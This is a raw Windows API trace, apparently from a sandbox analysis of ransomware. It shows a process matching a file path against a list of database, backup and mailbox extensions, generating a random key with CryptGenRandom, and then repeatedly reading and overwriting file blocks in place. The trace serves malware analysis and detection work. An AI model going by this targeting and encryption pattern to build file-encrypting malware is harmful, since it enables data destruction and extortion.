	[0137.546] lstrlenW (lpString=".mdf") returned 4
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".mdf") returned 0x0
	[0137.546] lstrlenW (lpString=".BAK") returned 4
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".BAK") returned 0x0
	[0137.546] lstrlenW (lpString=".BAC") returned 4
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".BAC") returned 0x0
	[0137.546] lstrlenW (lpString=".dbs") returned 4
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".dbs") returned 0x0
	[0137.546] lstrlenW (lpString=".vhdx") returned 5
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".vhdx") returned 0x0
	[0137.546] lstrlenW (lpString=".NDF") returned 4
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".NDF") returned 0x0
	[0137.546] lstrlenW (lpString=".dat") returned 4
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".dat") returned 0x0
	[0137.546] lstrlenW (lpString=".DBS") returned 4
	[0137.546] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".DBS") returned 0x0
	[0137.547] lstrlenW (lpString=".CKP") returned 4
	[0137.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".CKP") returned 0x0
	[0137.547] lstrlenW (lpString=".edb") returned 4
	[0137.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".edb") returned 0x0
	[0137.547] lstrlenW (lpString=".PST") returned 4
	[0137.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".PST") returned 0x0
	[0137.547] lstrlenW (lpString=".dbf") returned 4
	[0137.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".dbf") returned 0x0
	[0137.547] lstrlenW (lpString=".SQL") returned 4
	[0137.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".SQL") returned 0x0
	[0137.547] lstrlenW (lpString=".pst") returned 4
	[0137.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".pst") returned 0x0
	[0137.547] lstrlenW (lpString=".dbv") returned 4
	[0137.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".dbv") returned 0x0
	[0137.547] lstrlenW (lpString=".SDF") returned 4
	[0137.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".SDF") returned 0x0
	[0137.547] lstrlenW (lpString=".dtxs") returned 5
	[0137.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".dtxs") returned 0x0
	[0137.547] lstrlenW (lpString=".db3") returned 4
	[0137.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".db3") returned 0x0
	[0137.547] lstrlenW (lpString=".OST") returned 4
	[0137.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".OST") returned 0x0
	[0137.547] lstrlenW (lpString=".dbx") returned 4
	[0137.547] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".dbx") returned 0x0
	[0137.547] lstrlenW (lpString=".DB3") returned 4
	[0137.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".DB3") returned 0x0
	[0137.548] lstrlenW (lpString=".DAT") returned 4
	[0137.548] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT", lpSrch=".DAT") returned=".DAT"
	[0137.548] lstrlenW (lpString=".DAT") returned 4
	[0137.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0137.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0137.548] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0137.549] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0137.549] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0137.549] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0137.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0137.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0137.549] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25753948848) returned 1
	[0137.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbb6d1bd0, dwHighDateTime=0x1d60e1e)) 
	[0137.549] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0137.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0137.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0137.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825828
	[0137.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0137.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825828 | out: hHeap=0x300000) returned 1
	[0137.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0137.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0137.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce230
	[0137.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0137.550] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6548
	[0137.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce230 | out: hHeap=0x300000) returned 1
	[0137.550] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0137.550] GetLastError () returned 0x0
	[0137.551] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0137.551] GetLastError () returned 0x0
	[0137.640] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.640] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.640] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.641] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.641] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.644] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.645] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.645] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.648] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.653] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.653] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.654] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.654] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.654] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.655] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.658] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.658] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.659] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.659] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.660] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.660] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.664] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.664] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.664] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.665] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.665] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.665] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.666] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.666] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.666] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.682] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.682] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.683] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.683] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.684] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.684] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.685] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.685] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.685] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.689] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.689] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.690] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.690] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.690] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.691] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.696] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.696] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.697] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.697] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.697] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.698] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.699] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.699] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.699] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.703] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.703] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.703] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.704] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.704] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.705] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.720] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.720] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.722] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.723] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.723] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.723] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.724] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.724] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.724] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.725] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.725] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.728] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.729] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.729] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.729] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.733] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.733] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.733] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0137.734] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
